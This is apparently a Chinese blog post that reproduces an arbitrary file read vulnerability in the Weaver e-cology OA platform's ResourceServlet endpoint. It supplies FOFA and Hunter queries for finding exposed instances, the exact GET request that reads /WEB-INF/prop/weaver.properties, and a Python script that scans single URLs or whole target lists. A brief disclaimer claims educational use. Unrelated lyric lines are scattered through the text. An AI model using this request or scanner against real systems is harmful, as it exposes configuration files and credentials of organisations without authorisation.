【漏洞复现】泛微e-cology——resourceservlet——任意文件读取

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录


漏洞描述

泛微e-cology是一款由泛微网络科技开发的协同管理平台,支持人力资源、财务、行政等多功能管理和移动办公解决方案。其resourceservlet接口存在任意文件读取漏洞,未授权攻击者可以利用其读取网站配置文件等敏感信息。

漏洞复现

1)信息收集

fofa:app="泛微-OA(e-cology)"

hunter:app.name="泛微 e-Cology协同商务系统"

隔着人潮呼救像只困兽,呼吸颤抖去泪流,去相拥。

2)构造数据包

python 复制代码
GET /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties HTTP/1.1
Host:ip

代码解释:

python 复制代码
org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties

这个payload是一个Web应用程序中的URL请求路径,它用于访问Spring框架中的ResourceServlet来获取资源。下面是对这个payload的分析:

  1. org.springframework.web.servlet.ResourceServlet:这是Spring框架中的一个Servlet类,ResourceServlet用于处理静态资源的请求。

  2. ?resource=/WEB-INF/prop/weaver.properties:这是一个查询参数,指定了要请求的资源路径。在这个例子中,它指向了/WEB-INF/prop/weaver.properties路径。

    • /WEB-INF/:这是Java EE规范中定义的一个目录,用于存放Web应用程序的类、配置文件等资源,通常不对客户端直接暴露。
    • /prop/:这是一个自定义的目录,用于存放属性文件或配置文件。
    • weaver.properties:这是一个属性文件,可能包含了应用程序的配置信息。

如果这个payload能够被执行,它可能暴露了应用程序的敏感配置信息,因为/WEB-INF/目录通常不应该对客户端可见。

回显包含配置信息,存在任意文件读取漏洞。

测试工具

poc

python 复制代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import argparse
from requests.exceptions import RequestException
from urllib3.exceptions import InsecureRequestWarning

# 打印颜色
RED = '\033[91m'
RESET = '\033[0m'

# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    """
    检查给定URL是否存在泛微OA E-Cology资源读取漏洞。
    
    :param url: 要检查的URL
    """
    try:
        # 构造攻击URL,尝试读取敏感文件
        attack_url = url.rstrip('/') + "/weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/prop/weaver.properties"
  
        # 发送GET请求并忽略证书验证
        response = requests.get(attack_url, verify=False, timeout=10)
  
        # 检查响应状态码和内容,确认漏洞存在
        if response.status_code == 200 and 'ecology' in response.text:
            print(f"{RED}URL [{url}] 泛微OA E-Cology resourceservlet 文件读取漏洞。{RESET}")
        else:
            print(f"URL [{url}] 未发现漏洞。")
    except RequestException as e:
        # 请求异常处理
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序主入口,负责解析命令行参数并调用漏洞检查函数。
    """
    parser = argparse.ArgumentParser(description='检查目标URL是否存在泛微OA E-Cology resourceservlet 文件读取漏洞。')
    parser.add_argument('-u', '--url', help='指定目标URL')
    parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')

    args = parser.parse_args()

    if args.url:
        # 如果URL未以http://或https://开头,则添加http://
        args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
        check_vulnerability(args.url)
    elif args.file:
        # 处理文件参数,读取文件中的每个URL并检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 确保URL以http://或https://开头
                url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

运行截图


滚滚长江东逝水,浪花淘尽英雄。

相关推荐
mafucan6 小时前
VulnHub-Acid(1/100)
linux·安全·渗透测试·靶场·刷题·vulnhub
H轨迹H1 天前
DVWA靶场JavaScript Attacks漏洞low(低),medium(中等),high(高),impossible(不可能的)所有级别通关教程
javascript·网络安全·渗透测试·dvwa·web漏洞
轨迹H2 天前
DVWA靶场Insecure CAPTCHA(不安全验证)漏洞所有级别通关教程及源码审计
网络安全·渗透测试·dvwa·web漏洞
H轨迹H2 天前
DVWA靶场Open HTTP Redirect (重定向) 漏洞所有级别通关教程及源码审计
网络安全·渗透测试·dvwa·web漏洞
轨迹H3 天前
DVWA靶场Open HTTP Redirect (重定向) 漏洞所有级别通关教程及源码审计
网络协议·渗透测试·dvwa·重定向·web漏洞
H轨迹H3 天前
DVWA靶场Insecure CAPTCHA(不安全验证)漏洞所有级别通关教程及源码审计
网络安全·渗透测试·dvwa·web漏洞
轨迹H4 天前
DVWA靶场Brute Force (暴力破解) 漏洞low(低),medium(中等),high(高),impossible(不可能的)所有级别通关教程
网络安全·渗透测试·dvwa
H轨迹H4 天前
DVWA靶场Weak Session IDs(弱会话) 漏洞所有级别通关教程及源码审计
网络安全·渗透测试·dvwa·web漏洞·弱会话
H轨迹H5 天前
DVWA靶场File Upload(文件上传) 漏洞所有级别通关教程及源码审计
网络安全·渗透测试·文件上传·dvwa·web漏洞
灌江口话事人5 天前
Soildstate渗透测试
安全·web安全·渗透测试